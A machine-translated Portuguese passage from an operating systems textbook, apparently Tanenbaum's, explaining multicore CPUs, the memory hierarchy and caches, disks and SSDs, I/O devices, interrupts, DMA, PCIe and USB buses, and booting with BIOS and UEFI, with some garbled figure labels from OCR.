tempo, ele pode agendar inadvertidamente dois threads na mesma CPU, com o outro 
CPU completamente ociosa. Isso é muito menos eficiente do que usar um thread em cada CPU. 
Além do multithreading, muitos chips de CPU agora possuem quatro, oito ou mais processadores ou 
núcleos completos . Os chips multicore da Figura 1.8 transportam efetivamente 
quatro minichips neles, cada um com sua própria CPU independente. (As caches serão 
explicado posteriormente neste livro.) Alguns modelos de processadores populares como Intel Xeon 
e AMD Ryzen vêm com mais de 50 núcleos, mas também existem CPUs com núcleo 
conta na casa das centenas. Fazer uso de tal chip multicore certamente exigirá 
um sistema operacional multiprocessador. 
Aliás, em termos de números absolutos, nada supera uma GPU (Unidade de Processamento Gráfico) 
moderna. Uma GPU é um processador com, literalmente, milhares de minúsculos núcleos. 
Eles são muito bons para muitos pequenos cálculos feitos em paralelo, como renderização 
polígonos em aplicações gráficas. Eles não são tão bons em tarefas seriais. Eles são 
também é difícil de programar. Embora as GPUs possam ser úteis para sistemas operacionais (por exemplo, para 
criptografia ou processamento de tráfego de rede), não é provável que grande parte do sistema operacional seja 
executado nas GPUs. 


1.3.2 Memória 


O segundo componente principal de qualquer computador é a memória. Idealmente, a memória 
deve ser extremamente rápido (mais rápido do que executar uma instrução para que a CPU não seja 


sustentado pela memória), abundantemente grande e muito barato. Nenhuma tecnologia atual 


Machine Translated by Google 


SEC. 1.3 REVISÃO DE HARDWARE DO COMPUTADOR 25 


A 
Núcleo 1 Nú 


>A Z 
Cache L1 á 
Z 7 A A 

Núcleo 3 Nú ú 


(a) (b) 


Figura 1-8. (a) Um chip quad-core com cache L2 compartilhado. (b) Um chip quad-core 
com caches L2 separados. 


satisfaz todos esses objetivos, então uma abordagem diferente é adotada. O sistema de memória é 
construído como uma hierarquia de camadas, como mostrado na Figura 1.9, o que seria típico de 
um computador desktop ou servidor (notebooks usam SSDs). As camadas superiores têm maior 
velocidade, menor capacidade e maior custo por bit do que as inferiores, muitas vezes por fatores 
de um bilhão ou mais. 


Tempo de acesso típico Capacidade típica 


<1 nseg <1 KB 
10-50 nseg Memória principal 16-64GB memória 
persistente 
10 mseg / 10s -100s useg Disco magnético/SSD 2-16+ TB opcional 


Figura 1-9. Uma hierarquia de memória típica. Os números são aproximações muito grosseiras. 


A camada superior consiste nos registros internos da CPU. Eles são feitos do mesmo material 
que a CPU e, portanto, são tão rápidos quanto a CPU. Consequentemente, não há demora no 
acesso a eles. A capacidade de armazenamento disponível neles é da ordem de 32 x 32 bits em 
uma CPU de 32 bits e 64 x 64 bits em uma CPU de 64 bits. Menos de 1 KB em ambos os casos. 
Os programas devem gerenciar eles próprios os registros (isto é, decidir o que manter neles), em 
software. 

Em seguida vem a memória cache, que é controlada principalmente pelo hardware. 

A memória principal é dividida em linhas de cache, normalmente de 64 bytes, com endereços de 0 
a 63 na linha de cache 0, 64 a 127 na linha de cache 1 e assim por diante. As linhas de cache mais 
utilizadas são mantidas em um cache de alta velocidade localizado dentro ou muito próximo da CPU. 
Quando o programa precisa ler uma palavra de memória, o hardware do cache verifica se a linha 
necessária está no cache. Se for, chamado de cache hit, a solicitação é satisfeita a partir do cache 
e nenhuma solicitação de memória é enviada pelo barramento para a memória principal. 
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As ocorrências de cache normalmente levam apenas alguns ciclos de clock. As falhas de cache precisam 
ir para a memória, com uma penalidade de tempo substancial de dezenas a centenas de ciclos. A memória 
cache tem tamanho limitado devido ao seu alto custo. Algumas máquinas possuem dois ou até três níveis 
de cache, cada um mais lento e maior que o anterior. 

O cache desempenha um papel importante em muitas áreas da ciência da computação, não apenas 
no cache de linhas de RAM. Sempre que um recurso pode ser dividido em partes, algumas das quais são 
usadas com muito mais intensidade do que outras, o cache é frequentemente usado para melhorar o 
desempenho. Os sistemas operacionais usam isso o tempo todo. Por exemplo, a maioria dos sistemas 
operacionais mantém (pedaços de) arquivos muito usados na memória principal para evitar ter que buscá- 


los repetidamente no armazenamento estável. Da mesma forma, os resultados da conversão de nomes de 
caminhos longos como 


/home/ ast/ projects/minix3/src/kernel/clock.c 


em um "endereço de disco" para o SSD ou disco onde o arquivo está localizado pode ser armazenado em 
cache para evitar pesquisas repetidas. Finalmente, quando o endereço de uma página Web (URL) é 
convertido em um endereço de rede (endereço IP), o resultado pode ser armazenado em cache para uso futuro. 
Existem muitos outros usos. 

Em qualquer sistema de cache, várias questões surgem em breve, incluindo: 


1. Quando colocar um novo item no cache. 


2. Em qual linha de cache colocar o novo item. 


3. Qual item remover do cache quando for necessário um slot. 
4. Onde colocar um item recém-despejado na memória maior. 


Nem todas as questões são relevantes para todas as situações de cache. Para armazenar em cache linhas 
de memória principal no cache da CPU, um novo item geralmente será inserido a cada falta de cache. A 
linha de cache a ser usada geralmente é calculada usando alguns dos bits de ordem superior do endereço 
de memória referenciado. Por exemplo, com 4.096 linhas de cache de 64 bytes e endereços de 32 bits, os 
bits 6 a 17 podem ser usados para especificar a linha de cache, com os bits 0 a 5 o byte dentro da linha de 
cache. Nesse caso, o item a ser removido é o mesmo em que os novos dados são inseridos, mas em 
outros sistemas pode não ser. 

Finalmente, quando uma linha de cache é reescrita na memória principal (se ela tiver sido modificada 
desde que foi armazenada em cache), o local na memória para reescrevê-la é determinado exclusivamente 
pelo endereço em questão. 

Os caches são uma ideia tão boa que as CPUs modernas possuem dois ou mais deles. O primeiro 
nível ou cache L1 está sempre dentro da CPU e geralmente alimenta instruções decodificadas no 
mecanismo de execução da CPU. A maioria dos chips possui um segundo cache L1 para palavras de 
dados muito utilizadas. Os caches L1 normalmente têm 32 KB cada. Além disso, muitas vezes há um 
segundo cache, chamado cache L2, que contém vários megabytes de palavras de memória usadas 
recentemente. A diferença entre os caches L1 e L2 está no tempo. O acesso ao cache L1 é feito sem 
qualquer atraso, enquanto o acesso ao cache L2 envolve um atraso de vários ciclos de clock. 
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Em chips multicore, os projetistas precisam decidir onde colocar os caches. Na Figura 1.8(a), um 
único cache L2 é compartilhado por todos os núcleos. Em contraste, na Figura 1.8(b), cada núcleo possui 
seu próprio cache L2. Cada estratégia tem seus prós e contras. Por exemplo, o cache L2 compartilhado 
requer um controlador de cache mais complicado, mas os caches L2 por núcleo tornam mais difícil manter 
os caches consistentes. 

A memória principal vem em seguida na hierarquia da Figura 1.9. Este é o carro-chefe do sistema 
de memória. A memória principal é geralmente chamada de RAM (Random Access Memory). Os mais 
antigos às vezes chamam isso de memória central, porque os computadores das décadas de 1950 e 
1960 usavam minúsculos núcleos de ferrite magnetizáveis como memória principal. Eles já se foram há 
décadas, mas o nome persiste. Atualmente, as memórias costumam ter dezenas de gigabytes em 
máquinas desktop ou servidores. Todas as solicitações da CPU que não podem ser atendidas no cache 
vão para a memória principal. 

Além da memória principal, muitos computadores possuem diferentes tipos de memória de acesso 
aleatório não volátil. Ao contrário da RAM, a memória não volátil não perde seu conteúdo quando a 
energia é desligada. A ROM (memória somente leitura) é programada na fábrica e não pode ser 
alterada posteriormente. É rápido e barato. Em alguns computadores, o carregador de bootstrap usado 
para inicializar o computador está contido na ROM. A EEPROM (PROM apagável eletricamente) 
também não é volátil, mas, ao contrário da ROM, pode ser apagada e reescrita. No entanto, escrevê-lo 
leva muito mais tempo do que escrever na RAM, por isso é usado da mesma forma que a ROM, exceto 
que agora é possível corrigir bugs em programas reescrevendo-os em campo. O código de inicialização 
também pode ser armazenado na memória Flash, que é igualmente não volátil, mas, ao contrário da 
ROM, pode ser apagada e reescrita. 


O código de inicialização é comumente referido como BIOS (Basic Input/Output System). A memória flash 
também é comumente usada como meio de armazenamento em dispositivos eletrônicos portáteis, como 
smartphones e SSDs, para servir como uma alternativa mais rápida aos discos rígidos. A memória flash 
tem velocidade intermediária entre RAM e disco. 
Além disso, ao contrário da memória em disco, se for apagada muitas vezes, ela se desgasta. O firmware 
dentro do dispositivo tenta atenuar isso por meio do balanceamento de carga. 

Ainda outro tipo de memória é a CMOS, que é volátil. Muitos computadores usam memória CMOS 
para armazenar a hora e a data atuais. A memória CMOS e o circuito de relógio que nela incrementa o 
tempo são alimentados por uma pequena bateria, para que a hora seja atualizada corretamente, mesmo 
quando o computador estiver desconectado. A memória CMOS também pode conter os parâmetros de 
configuração, como qual unidade inicializar. 
O CMOS é usado porque consome tão pouca energia que a bateria original instalada de fábrica geralmente 
dura vários anos. No entanto, quando começa a falhar, o computador pode parecer estar perdendo a 
cabeça, esquecendo coisas que já sabia há anos, como como inicializar. 


Aliás, muitos computadores hoje suportam um esquema conhecido como memória virtual, que 
discutiremos mais detalhadamente no Cap. 3. Possibilita a execução de programas maiores que a 
memória física, colocando-os em armazenamento não volátil (SSD ou disco) e utilizando a memória 
principal como uma espécie de cache para as partes mais executadas. De tempos em tempos, o programa 
precisará de dados que atualmente não estão disponíveis. 
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em memória. Libera alguma memória (por exemplo, gravando alguns dados que não foram 
usado recentemente de volta ao SSD ou disco) e, em seguida, carrega os novos dados neste local. Como o 
endereço físico dos dados e do código não é mais fixo, o 
esquema remapeia endereços de memória dinamicamente para converter o endereço que o programa 
gerado para o endereço físico na RAM onde os dados estão localizados atualmente. 
Esse mapeamento é feito por uma parte da CPU chamada MMU (Memory Management Unit), conforme 
mostrado na Figura 1.6. 

A MMU pode ter um grande impacto no desempenho, pois todo acesso à memória 
pelo programa deve ser remapeado usando estruturas de dados especiais que também estão em 
memória. Num sistema de multiprogramação, ao mudar de um programa para 
outra, às vezes chamada de troca de contexto, essas estruturas de dados devem mudar conforme 
os mapeamentos diferem de processo para processo. Tanto a tradução imediata de endereços quanto a troca 
de contexto podem ser operações caras. 


1.3.3 Armazenamento Não Volátil 


Em seguida na hierarquia estão os discos magnéticos (discos rígidos), unidades de estado sólido (SSDs), 
e memória persistente. Começando pelo mais antigo e mais lento, o armazenamento em disco rígido é 
duas ordens de grandeza mais baratas que a RAM por bit e muitas vezes duas ordens de grandeza maiores 
também. O único problema é que o tempo para acessar aleatoriamente os dados nele 
é quase três ordens de magnitude mais lenta. A razão é que um disco é um dispositivo mecânico, como 
mostra a Figura 1.10. 


Cabeça de leitura/gravação (1 por superfície) 


Superfície 7 
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Figura 1-10. Estrutura de uma unidade de disco. 


Um disco consiste em um ou mais pratos de metal que giram a 5.400, 7.200, 10.800, 
15.000 RPM ou mais. Um braço mecânico gira sobre os pratos a partir do canto, 
semelhante ao braço captador de um antigo fonógrafo de 33 RPM para tocar discos de vinil. 


As informações são gravadas no disco em uma série de círculos concêntricos. A qualquer momento 
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posição do braço, cada uma das cabeças pode ler uma região anular conhecida como trilha. Juntos, todos os 
trilhos para uma determinada posição do braço formam um cilindro. 

Cada trilha é dividida em um certo número de setores, normalmente 512 bytes por setor. Nos discos 
modernos, os cilindros externos contêm mais setores do que os internos. 
Mover o braço de um cilindro para o próximo leva cerca de 1 ms. Movê-lo para um cilindro aleatório normalmente 
leva de 5 a 10 ms, dependendo da unidade. Assim que o braço estiver no caminho correto, o inversor deverá 
aguardar que o setor necessário gire sob a cabeça, um atraso adicional de 5 a 10 ms, dependendo da RPM do 
inversor. Uma vez que o setor está sob o cabeçote, a leitura ou gravação ocorre a uma taxa de 50 MB/s em 
discos de baixo custo e 160-200 MB/s em discos mais rápidos. 


Muitas pessoas também se referem aos SSDs como discos, embora fisicamente não sejam discos e não 
tenham pratos ou braços móveis. Eles armazenam dados em memória eletrônica (Flash). A única maneira pela 
qual eles se assemelham aos discos em termos de hardware é que eles também armazenam muitos dados que 
não são perdidos quando a energia é desligada. Mas do ponto de vista do sistema operacional, eles são 
parecidos com discos. Os SSDs são muito mais caros que os discos rotativos em termos de custo por byte 
armazenado, por isso não são muito usados em data centers para armazenamento em massa. No entanto, eles 
são muito mais rápidos que os discos magnéticos e, como não possuem braço mecânico para se mover, são 
melhores no acesso a dados em locais aleatórios. A leitura de dados de um SSD leva dezenas de microssegundos 


em vez de milissegundos como acontece com os discos rígidos. As gravações são mais complicadas porque 
exigem que um bloco de dados completo seja apagado primeiro e levam mais tempo. 


Mas mesmo que uma gravação demore algumas centenas de microssegundos, isso ainda é melhor que o 
desempenho de um disco rígido. 

O membro mais jovem e mais rápido da família de armazenamento estável é conhecido como memória 
persistente. O exemplo mais conhecido é o Intel Optane, que foi disponibilizado em 2016. De muitas maneiras, 
a memória persistente pode ser vista como uma camada adicional entre SSDs (ou discos rígidos) e a memória: 
é rápida, apenas um pouco mais lenta que a RAM normal, e é mantém seu conteúdo durante os ciclos de 
energia. Embora possa ser usado para implementar SSDs realmente rápidos, os fabricantes também podem 
conectá-lo diretamente ao barramento de memória. Na verdade, ela pode ser usada como uma memória normal 
para armazenar as estruturas de dados de um aplicativo, exceto que os dados ainda estarão lá quando a energia 
for desligada. Nesse caso, o acesso não requer driver especial e pode acontecer na granularidade de bytes, 
dispensando a necessidade de transferência de dados em grandes blocos como em discos rígidos e SSDs. 


1.3.4 Dispositivos de E/S 


Agora deve estar claro que CPU e memória não são os únicos recursos que o sistema operacional deve 
gerenciar. Existem muitos outros. Além dos discos, existem muitos outros dispositivos de E/S que interagem 
fortemente com o sistema operacional. Como vimos na Figura 1.6, os dispositivos de E/S geralmente consistem 
em duas partes: um controlador e o próprio dispositivo. O controlador é um chip (ou conjunto de chips) que 
controla fisicamente o dispositivo. Ele aceita comandos do sistema operacional, por exemplo, para ler dados do 
dispositivo, e os executa. 
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Em muitos casos, o controle real do dispositivo é complicado e detalhado, por isso é função 
do controlador apresentar uma interface mais simples (mas ainda muito complexa) para o sistema 
operacional. Por exemplo, um controlador de disco rígido pode aceitar um comando para ler o 
setor 11.206 do disco 2. O controlador precisa então converter esse número de setor linear em 
um cilindro, setor e cabeçote. Esta conversão pode ser complicada pelo fato de os cilindros 
externos terem mais setores do que os internos e de alguns setores defeituosos terem sido 
remapeados em outros. Em seguida, o controlador deve determinar em qual cilindro o braço do 
disco está e dar-lhe um comando para mover para dentro ou para fora o número necessário de 
cilindros. Ele tem que esperar até que o setor adequado gire sob a cabeça e então começar a ler 
e armazenar os bits à medida que eles saem da unidade, removendo o preâmbulo e calculando a 
soma de verificação. Finalmente, ele precisa reunir os bits recebidos em palavras e armazená-los 
na memória. Para fazer todo esse trabalho, os controladores geralmente contêm pequenos 
computadores incorporados que são programados para realizar seu trabalho. 


A outra peça é o próprio dispositivo. Os dispositivos têm interfaces bastante simples, tanto 
porque não podem fazer muita coisa como para torná-los padronizados. Este último é necessário 
para que qualquer controlador de disco SAT A possa lidar com qualquer disco SAT A, por exemplo. 
SATA significa Serial ATA e AT A, por sua vez, significa AT Attachment. Caso você esteja 
curioso para saber o que AT significa, esta foi a segunda geração da “Tecnologia Avançada de 
Computador Pessoal” da IBM, construída em torno do então extremamente potente processador 
80286 de 6 MHz que a empresa lançou em 1984. O que aprendemos com isso é que a indústria 
de computadores tem o hábito de aprimorar continuamente as siglas existentes com novos 
prefixos e sufixos. Também aprendemos que um adjetivo como “avançado” deve ser usado com 
muito cuidado, ou você parecerá bobo daqui a 40 anos. 


Atualmente, SATA é o tipo padrão de disco rígido em muitos computadores. Como a interface 
real do dispositivo está oculta atrás do controlador, tudo o que o sistema operacional vê é a 
interface com o controlador, que pode ser bem diferente da interface com o dispositivo. 


Como cada tipo de controlador é diferente, é necessário um software diferente para controlar 
cada um. O software que se comunica com um controlador, dando-lhe comandos e aceitando 
respostas, é chamado de driver de dispositivo. Cada fabricante de controlador deve fornecer 
um driver para cada sistema operacional compatível. Assim, um scanner pode vir com drivers 
para macOS, Windows 11 e Linux, por exemplo. 

Para ser usado, o driver deve ser colocado no sistema operacional para que possa ser 
executado no modo kernel. Na verdade, os drivers podem ser executados fora do kernel, e 
sistemas operacionais como Linux e Windows hoje em dia oferecem algum suporte para isso, 
mas a grande maioria dos drivers ainda é executada abaixo dos limites do kernel. Apenas poucos 
sistemas atuais, como o MINIX 3, executam todos os drivers no espaço do usuário. Os drivers no 
espaço do usuário devem ter permissão para acessar o dispositivo de forma controlada, o que 
não é simples sem algum suporte de hardware. 

Existem três maneiras de colocar o driver no kernel. A primeira maneira é vincular novamente 
o kernel ao novo driver e reinicializar o sistema. Muitos UNIX mais antigos 
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sistemas funcionam assim. A segunda maneira é fazer uma entrada em um sistema operacional 
arquivo informando que ele precisa do driver e, em seguida, reinicialize o sistema. Na hora da inicialização, o 
sistema operacional vai e encontra os drivers necessários e os carrega. versões mais antigas 
do Windows funcionam dessa maneira. A terceira maneira é o sistema operacional ser capaz de 
aceite novos drivers durante a execução e instale-os rapidamente, sem a necessidade de 
reinício. Essa forma costumava ser rara, mas está se tornando muito mais comum agora. Dispositivos hot plug, 
como dispositivos USB e Thunderbolt (discutidos abaixo), 
sempre precisa de drivers carregados dinamicamente. 

Cada controlador possui um pequeno número de registros que são usados para comunicar 
com isso. Por exemplo, um controlador de disco mínimo pode ter registros para especificar 
o endereço do disco, endereço de memória, contagem de setores e direção (leitura ou gravação). Para 
ativar o controlador, o driver recebe um comando do sistema operacional e, em seguida, 
traduz-lo nos valores apropriados para escrever nos registros do dispositivo. A coleção de todos os registradores 
do dispositivo forma o espaço de portas de E/S, assunto que abordaremos 
de volta ao Cap. 5. 

Em alguns computadores, os registradores do dispositivo são mapeados no espaço de endereço do 
sistema operacional (os endereços que ele pode usar), para que possam ser lidos e escritos como 
palavras comuns de memória. Nesses computadores, nenhuma instrução especial de E/S é 
necessário e os programas do usuário podem ser mantidos longe do hardware, não colocando 
esses endereços de memória ao seu alcance (por exemplo, usando registradores base e limite). 
Em outros computadores, os registradores do dispositivo são colocados em um espaço de porta de E/S especial, com 
cada registro tendo um endereço de porta. Nessas máquinas, entradas e saídas especiais 
instruções estão disponíveis no modo kernel para permitir que os drivers leiam e gravem os registros. O 
primeiro esquema elimina a necessidade de instruções especiais de E/S, mas usa 
ocupar parte do espaço de endereço. Este último não utiliza espaço de endereçamento, mas requer 
instruções. Ambos os sistemas são amplamente utilizados. 

A entrada e a saída podem ser feitas de três maneiras diferentes. No método mais simples, um 
O programa do usuário emite uma chamada de sistema, que o kernel então traduz em um procedimento 
ligue para o driver apropriado. O driver então inicia a E/S e fica em um circuito fechado 
sondando continuamente o dispositivo para ver se isso foi feito (geralmente há algum bit que 
indica que o dispositivo ainda está ocupado). Quando a E/S for concluída, o driver coloca 
os dados (se houver) onde são necessários e retorna. O sistema operacional então 
retorna o controle ao chamador. Este método é chamado de espera ocupada e tem o 
desvantagem de amarrar a CPU pesquisando o dispositivo até que seja concluído. 

O segundo método é o driver iniciar o dispositivo e pedir para ele dar uma 
interromper quando terminar. Nesse ponto, o motorista retorna. O sistema operacional então bloqueia o 
chamador, se necessário, e procura outro trabalho para fazer. Quando o controlador detecta o fim da 


transferência, ele gera uma interrupção para sinalizar a conclusão. 


As interrupções são muito importantes em sistemas operacionais, então vamos examinar a ideia 
mais perto. Na Figura 1.11(a), vemos um processo de três etapas para E/S. No passo 1, o 
driver informa ao controlador o que fazer escrevendo em seus registros de dispositivo. O controlador então 


inicia o dispositivo. Quando o controlador terminar de ler ou escrever 
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o número de bytes que foi instruído a transferir, ele sinaliza o chip controlador de interrupção usando 
certas linhas de barramento na etapa 2. Se o controlador de interrupção estiver pronto para 

aceitar a interrupção (o que pode não acontecer se estiver ocupado lidando com uma prioridade mais alta 
interrupção), ele ativa um pino no chip da CPU informando-o, na etapa 3. Na etapa 4, o controlador de 
interrupção coloca o número do dispositivo no barramento para que a CPU possa lê-lo e 

saber qual dispositivo acabou de ser concluído (muitos dispositivos podem estar funcionando ao mesmo 


tempo). 


Instrução atual 


Próxima instrução 


Unidade de disco 


Interromper Disco 


controlador controlador 


3. Retorno 
1. Interromper 


2. Envio para 
o manipulador 


Manipulador de interrupções 


(a) (b) 


Figura 1-11. (a) As etapas para iniciar um dispositivo de E/S e obter uma interrupção. (b) 
O processamento de interrupções envolve receber a interrupção, executar o manipulador de interrupção, 
e retornando ao programa do usuário. 


Uma vez que a CPU tenha decidido interromper, o contador do programa e o PSW 
normalmente são colocados na pilha atual e a CPU muda para o kernel 
modo. O número do dispositivo pode ser usado como um índice em parte da memória para encontrar o 
endereço do manipulador de interrupção para este dispositivo. Esta parte da memória é chamada de 
tabela de vetores de interrupção. Depois que o manipulador de interrupção (parte do driver do dispositivo 
de interrupção) for iniciado, ele salva o contador de programa empilhado, PSW e outros 
registradores (normalmente na tabela de processos). Em seguida, ele consulta o dispositivo para saber 
suas estatísticas. Quando o manipulador estiver totalmente concluído, ele restaura o contexto e retorna 
ao programa do usuário executado anteriormente para a primeira instrução que ainda não foi executada. Esses 
etapas são mostradas na Figura 1.11(b). Discutiremos vetores de interrupção mais adiante no 
Próximo Capítulo. 

O terceiro método para fazer E/S faz uso de hardware especial: um DMA 
(Direct Memory Access) chip que pode controlar o fluxo de bits entre memória 
e algum controlador sem intervenção constante da CPU. A CPU configura o 
Chip DMA, informando quantos bytes transferir, o dispositivo e os endereços de memória 
envolvidos, e a direção, e deixa passar. Quando o chip DMA está pronto, ele causa 
uma interrupção, que é tratada conforme descrito acima. DMA e hardware de E/S em geral serão 
discutidos com mais detalhes no Cap. 5. 
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A organização da Figura 1.6 foi usada em minicomputadores durante anos e também no IBM PC 
original. No entanto, à medida que os processadores e as memórias se tornaram mais rápidos, a 
capacidade de um único barramento (e certamente do barramento do IBM PC) de lidar com todo o tráfego 
ficou sobrecarregada ao ponto de ruptura. Algo tinha que acontecer. Como resultado, barramentos 
adicionais foram adicionados, tanto para dispositivos de E/S mais rápidos quanto para tráfego de CPU 
para memória. Como consequência dessa evolução, um grande sistema x86 atualmente se parece com 
algo parecido com a Figura 1.12. 


Cache Cache 


É Controladores de memória J 


DMI 


Memófta DDR 


Memófla DDR 


Slot PCle 
Slot PCle Plataforma PortaskR3B Portas 
Controlador 


Slot PCle Eis USB Gigabit 
Slot PCle 


Mais dispositivos PCle 


Figura 1-12. A estrutura de um grande sistema x86. 


Este sistema possui muitos barramentos (por exemplo, cache, memória, PCle, PCI, USB, SATA e 
DMI), cada um com uma taxa de transferência e função diferente. O sistema operacional deve estar ciente 
de todos eles para configuração e gerenciamento. O barramento principal é o barramento PCle (Peripheral 
Component Interconnect Express) . 

O barramento PCle foi inventado pela Intel como sucessor do barramento PCI mais antigo , que por 
sua vez substituiu o barramento ISA (Industry Standard Architecture) original. Capaz de transferir 
dezenas de gigabits por segundo, o PCle é muito mais rápido que seus antecessores. Também é de 
natureza muito diferente. Até a sua criação em 2004, a maioria dos ônibus eram paralelos e compartilhados. 
Uma arquitetura de barramento compartilhado significa que vários dispositivos usam os mesmos fios 
para transferir dados. Assim, quando vários dispositivos têm dados para enviar, é necessário um árbitro 
para determinar quem pode usar o barramento. Por outro lado, o PCle utiliza conexões ponto a ponto 
dedicadas. Uma arquitetura de barramento paralelo usada no PCl tradicional significa que você envia 
cada palavra de dados por vários fios. 

Por exemplo, em barramentos PCI regulares, um único número de 32 bits é enviado por 32 fios paralelos. 
Em contraste com isso, o PCle usa uma arquitetura de barramento serial e envia todos os bits em 
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uma mensagem através de uma única conexão, conhecida como via, muito parecida com um pacote 
de rede. Isso é muito mais simples porque você não precisa garantir que todos os 32 bits cheguem ao 
destino exatamente ao mesmo tempo. O paralelismo ainda é usado porque você pode ter várias pistas 
em paralelo. Por exemplo, podemos usar 32 pistas para transportar 32 mensagens em paralelo. À 
medida que a velocidade dos dispositivos periféricos, como placas de rede e adaptadores gráficos, 
aumenta rapidamente, o padrão PCle é atualizado a cada 3-5 anos. 

Por exemplo, 16 pistas de PCle 4.0 oferecem 256 gigabits por segundo. A atualização para PCle 5.0 
proporcionará o dobro dessa velocidade e o PCle 6.0 duplicará novamente. 

Enquanto isso, ainda temos dispositivos legados para o padrão PCI mais antigo. Esses dispositivos 
podem ser conectados a um processador hub separado. 

Nesta configuração, a CPU se comunica com a memória por meio de um barramento DDR4 
rápido, com um dispositivo gráfico externo por PCle e com todos os outros dispositivos por meio de um 
hub por meio de um barramento DMI (Direct Media Interface) . O hub, por sua vez, conecta todos os 
outros dispositivos, usando o Universal Serial Bus para se comunicar com dispositivos USB, o 
barramento SATA para interagir com discos rígidos e unidades de DVD e PCle para transferir quadros 
Ethernet. Já mencionamos os dispositivos PCI mais antigos que usam um barramento PCI tradicional. 

Além disso, cada um dos núcleos possui um cache dedicado e um cache muito maior que 
é compartilhado entre eles. Cada um desses caches introduz ainda outro barramento. 

O USB (Universal Serial Bus) foi inventado para conectar todos os dispositivos de E/S lentos, 
como teclado e mouse, ao computador. No entanto, chamar um dispositivo USB4 moderno de “lento” 
a 40 Gbps pode não ser natural para a geração que cresceu com o ISA de 8 Mbps como o barramento 
principal nos primeiros PCs IBM. 

O USB usa um pequeno conector com 4 a 11 fios (dependendo da versão), alguns dos quais fornecem 
energia elétrica aos dispositivos USB ou são conectados ao terra. USB é um barramento centralizado 
no qual um dispositivo raiz pesquisa todos os dispositivos de E/S a cada 1 ms para ver se eles têm 
algum tráfego. O USB 1.0 pode suportar uma carga agregada de 12 Mbps, o USB 2.0 aumentou a 
velocidade para 480 Mbps, o USB 3.0 para 5 Gbps, o USB 3.2 para 20 Gbps e o USB 4 dobrará isso. 
Qualquer dispositivo USB pode ser conectado a um computador e funcionará imediatamente, sem a 
necessidade de reinicialização, algo que os dispositivos pré-USB exigiam, para grande consternação 
de uma geração de usuários frustrados. 


1.3.6 Inicializando o computador 


Muito resumidamente, o processo de inicialização é o seguinte. Cada PC contém uma placa-mãe, 
que contém a CPU, slots para chips de memória e soquetes para placas de plug-in PCle (ou outras). 
Na placa-mãe, uma pequena quantidade de flash contém um programa chamado firmware do sistema, 
que comumente ainda chamamos de BIOS (Basic Input Output System), embora, estritamente 
falando, o nome BIOS se aplique apenas ao firmware em IBM PC um pouco mais antigo compatível. 
máquinas. A inicialização usando o BIOS original era lenta, dependente da arquitetura e limitada a 
SSDs e discos menores (até 2 TB). Também foi muito fácil de entender. Quando a Intel propôs o que 
se tornaria UEFI (Unified Extensible Firmware Interface) como substituto, 
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ele solucionou todos esses problemas: UEFI permite inicialização rápida, diferentes arquiteturas e 
tamanhos de armazenamento de até 8 ZiB ou 8 x 270 bytes. É também tão complexo que tentar 
compreendê-lo completamente sugou a felicidade de muitas vidas. Neste capítulo, abordaremos 
firmware de BIOS de estilo antigo e novo, mas apenas o essencial. 

Após pressionarmos o botão liga / desliga, a placa-mãe aguarda o sinal de que a fonte de 
alimentação se estabilizou. Quando a CPU começa a ser executada, ela busca o código de um 
endereço físico codificado (conhecido como vetor de redefinição) que é mapeado para a memória 
flash. Em outras palavras, ele executa código do BIOS que detecta e inicializa vários recursos, como 
RAM, Platform Controller Hub (veja Fig. 

Fig. 1-12) e controladores de interrupção. Além disso, ele verifica os barramentos PCI e/ou PCle para 
detectar e inicializar todos os dispositivos conectados a eles. Se os dispositivos presentes forem 

diferentes de quando o sistema foi inicializado pela última vez, ele também configura os novos dispositivos. 
Finalmente, ele configura o firmware de tempo de execução que oferece serviços críticos (incluindo E/ 

S de baixo nível) que podem ser usados pelo sistema após a inicialização. 

Em seguida, é hora de passar para o próximo estágio do processo de inicialização. Em sistemas 
que usavam o BIOS antigo, tudo isso era muito simples. O BIOS determinaria o dispositivo de 
inicialização testando uma lista de dispositivos armazenados na memória CMOS. O usuário pode 
alterar esta lista inserindo um programa de configuração do BIOS logo após a inicialização. Por 
exemplo, você pode solicitar ao sistema que tente inicializar a partir de uma unidade USB, se houver 
alguma. Se isso falhar, o sistema inicializa a partir do disco rígido ou SSD. O primeiro setor do 
dispositivo de inicialização é lido na memória e executado. Este setor, conhecido como MBR (Master 
Boot Record), contém um programa que normalmente examina a tabela de partições no final do setor 
de inicialização para determinar qual partição está ativa. Uma partição é uma região distinta no 
dispositivo de armazenamento que pode, por exemplo, conter seus próprios sistemas de arquivos. Em 
seguida, um carregador de inicialização secundário é lido a partir dessa partição. Este carregador lê o 
sistema operacional da partição ativa e o inicia. O sistema operacional então consulta o BIOS para 
obter as informações de configuração. Para cada dispositivo, ele verifica se possui o driver do 
dispositivo. Caso contrário, solicita ao usuário que o instale, por exemplo, baixando-o da Internet. 
Depois de ter todos os drivers de dispositivo, o sistema operacional os carrega no kernel. Em seguida, 
ele inicializa suas tabelas, cria todos os processos em segundo plano necessários e inicia um 
programa de login ou GUI. 


Com UEFI, as coisas são diferentes. Primeiro, ele não depende mais de um Master Boot Record 
residente no primeiro setor do dispositivo de inicialização, mas procura a localização da tabela de 
partição no segundo setor do dispositivo. Esta GPT (tabela de partição GUID) contém informações 
sobre a localização das várias partições no SSD ou disco. Em segundo lugar, o próprio BIOS possui 
funcionalidade suficiente para ler sistemas de arquivos de tipos específicos. De acordo com o padrão 
UEFI, ele deve suportar pelo menos os tipos FAT-12, FAT -16 e FAT -32. Um desses sistemas de 
arquivos é colocado em uma partição especial, conhecida como partição do sistema EFI (ESP). Em 
vez de um único setor mágico de inicialização, o processo de inicialização agora pode usar um sistema 
de arquivos adequado contendo programas, arquivos de configuração e qualquer outra coisa que 
possa ser útil durante a inicialização. Além disso, a UEFI espera que o firmware seja capaz de executar 
programas em um formato específico, 
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chamado PE (Executável Portátil). Como você pode ver, o BIOS no UEFI se parece muito com um 
pequeno sistema operacional que entende partições, sistemas de arquivos, executáveis, etc. 


O código de inicialização ainda precisa escolher um dos programas bootloader para carregar Linux 
ou Windows, ou qualquer sistema operacional, mas pode haver muitas partições com sistemas operacionais 
e com tantas opções de escolha, qual delas deveria escolher? Isso é decidido pelo gerenciador de 
inicialização UEFI, que você pode considerar um menu de inicialização com diferentes entradas e uma 
ordem configurável para experimentar as diferentes opções de inicialização. 
Alterar o menu e o bootloader padrão é muito fácil e pode ser feito no sistema operacional em execução. 
Como antes, o bootloader continuará carregando o sistema operacional de sua escolha. 


Esta não é de forma alguma a história completa. UEFI é muito flexível e altamente padronizado e 
contém muitos recursos avançados. No entanto, isso é suficiente por enquanto. 
